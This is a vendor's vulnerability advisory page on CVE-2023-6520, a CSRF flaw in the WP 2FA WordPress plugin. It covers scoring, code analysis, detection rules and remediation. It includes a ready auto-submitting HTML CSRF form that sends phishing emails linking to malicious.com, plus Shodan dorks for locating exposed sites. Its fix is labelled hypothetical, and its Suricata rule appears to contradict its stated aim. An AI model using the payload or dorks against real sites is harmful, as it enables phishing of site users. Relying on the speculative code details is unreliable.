☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp 2fa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6520

CVE-2023-6520 Cross-Site Request Forgery in Wp 2fa
📅 PUBLISHED: 2024-01-11 06:49 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6520 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP 2FA – Two-factor authentication for WordPress plugin, affecting all versions up to and including 2.5.0. The flaw resides in the send_backup_codes_email function, which lacks proper nonce validation. An unauthenticated attacker can trick a site administrator or registered user into performing an action (e.g., clicking a link) that triggers a forged request, allowing the attacker to send arbitrary emails to registered users. This can be leveraged for phishing campaigns, social engineering, or spreading malware within the WordPress ecosystem.

The vulnerability is classified as WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 4.3 (Medium), with low attack complexity and no privileges required, but user interaction is necessary.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but the lack of a patch increases risk for sites using this plugin. Administrators should verify plugin integrity and consider temporary removal until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the direct impact is limited to sending arbitrary emails, the potential for phishing and social engineering attacks elevates the risk, especially in multi-user WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the send_backup_codes_email function within the WP 2FA plugin. This function is intended to send backup codes to users via email. The CSRF protection relies on a nonce check, but the implementation is flawed: the nonce validation is only performed if a nonce parameter is present in the request. If an attacker omits the nonce entirely, the check is bypassed, and the function executes the email sending logic.

Attack Flow:

  1. An attacker crafts a malicious link or form that sends a POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=send_backup_codes_email).
  2. The attacker tricks a logged-in administrator or registered user into clicking the link or submitting the form.
  3. The request is processed without nonce validation, triggering the send_backup_codes_email function.
  4. The function sends an email with attacker-controlled content (e.g., subject, body) to registered users.
  5. The email can contain phishing links, malware attachments, or social engineering lures.

Root Cause: Missing or incorrect nonce validation. The code likely checks if ( isset( $_POST['nonce'] ) && wp_verify_nonce( $_POST['nonce'], 'action' ) ), but fails to reject requests without a nonce.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.5.0):

function send_backup_codes_email() {
    if ( isset( $_POST['nonce'] ) && ! wp_verify_nonce( $_POST['nonce'], 'send_backup_codes_email' ) ) {
        return;
    }
    // Send email logic...
}

Patched Code (Hypothetical Fix):

function send_backup_codes_email() {
    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'send_backup_codes_email' ) ) {
        return;
    }
    // Send email logic...
}

The fix ensures that the nonce is always required and validated before proceeding.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WP 2FA plugin version <= 2.5.0.
  • A registered user (e.g., administrator) who can be tricked into clicking a link.

Exploit Steps:

  1. Identify the vulnerable endpoint: /wp-admin/admin-ajax.php?action=send_backup_codes_email.
  2. Craft a CSRF payload (e.g., an HTML form or a link) that sends a POST request with attacker-controlled parameters (e.g., email_subject, email_body).
  3. Deliver the payload to a logged-in user via social engineering (e.g., email, chat, or malicious website).
  4. Upon submission, the plugin sends an email with arbitrary content to registered users.

Example CSRF Payload (HTML form):

<html>
  <body>
    <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="send_backup_codes_email" />
      <input type="hidden" name="email_subject" value="Urgent: Security Alert" />
      <input type="hidden" name="email_body" value="Click here to reset your password: http://malicious.com" />
      <input type="submit" value="Click me" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Blue Team (Detection & Defense)

Detection:

  • Monitor for POST requests to /wp-admin/admin-ajax.php with action=send_backup_codes_email from unexpected referrers.
  • Alert on multiple email sending events from the plugin within a short time frame.
  • Use the detection rules provided in the Detection Engineering section.

Defense:

  • Apply the hypothetical patch by modifying the plugin code to enforce nonce validation.
  • Implement CSRF tokens for all sensitive actions.
  • Use Web Application Firewall (WAF) rules to block requests missing nonce parameters.
  • Educate users about phishing attacks and CSRF risks.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-ajax.php with action=send_backup_codes_email and no nonce parameter.
    • Emails with suspicious subjects or bodies originating from the WordPress site.
  • File IOCs:
    • Modified plugin files in /wp-content/plugins/wp-2fa/ (e.g., class-wp-2fa.php).
  • Log IOCs:
    • WordPress debug logs showing send_backup_codes_email calls without nonce.
    • Email logs indicating bulk sending of backup codes.

Detection Engineering

YARA Rule

rule CVE_2023_6520_WP2FA_CSRF {
    meta:
        description = "Detects vulnerable WP 2FA plugin code with missing nonce validation"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-6520"
    strings:
        $vuln_code = /if\s*\(\s*isset\s*\(\s*\$_POST\s*\[\s*['\"]nonce['\"]\s*\]\s*\)\s*&&\s*!\s*wp_verify_nonce\s*\(/
    condition:
        $vuln_code
}

Sigma Rule

title: CVE-2023-6520 WP 2FA CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF exploitation attempts against WP 2FA plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=send_backup_codes_email'
        cs-uri-query|contains: 'admin-ajax.php'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6520 WP 2FA CSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=send_backup_codes_email"; http_uri; pcre:"/nonce=/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Apply the hypothetical patch by modifying the plugin code to enforce nonce validation (see Vulnerable vs. Patched Code section).
  3. Implement CSRF tokens for all sensitive actions in the plugin.

Long-term Actions:

  • Monitor the vendor for a security update and apply it promptly.
  • Use a Web Application Firewall (WAF) to block requests missing nonce parameters.
  • Conduct regular security audits of WordPress plugins.
  • Educate users about phishing and CSRF risks.

Workaround:

  • Add a custom function to your theme's functions.php to block requests to send_backup_codes_email without a nonce:
add_action( 'wp_ajax_send_backup_codes_email', 'custom_csrf_check', 1 );
function custom_csrf_check() {
    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'send_backup_codes_email' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP 2FA"
http.html:"wp-2fa"
http.html:"two-factor-authentication"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6520/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.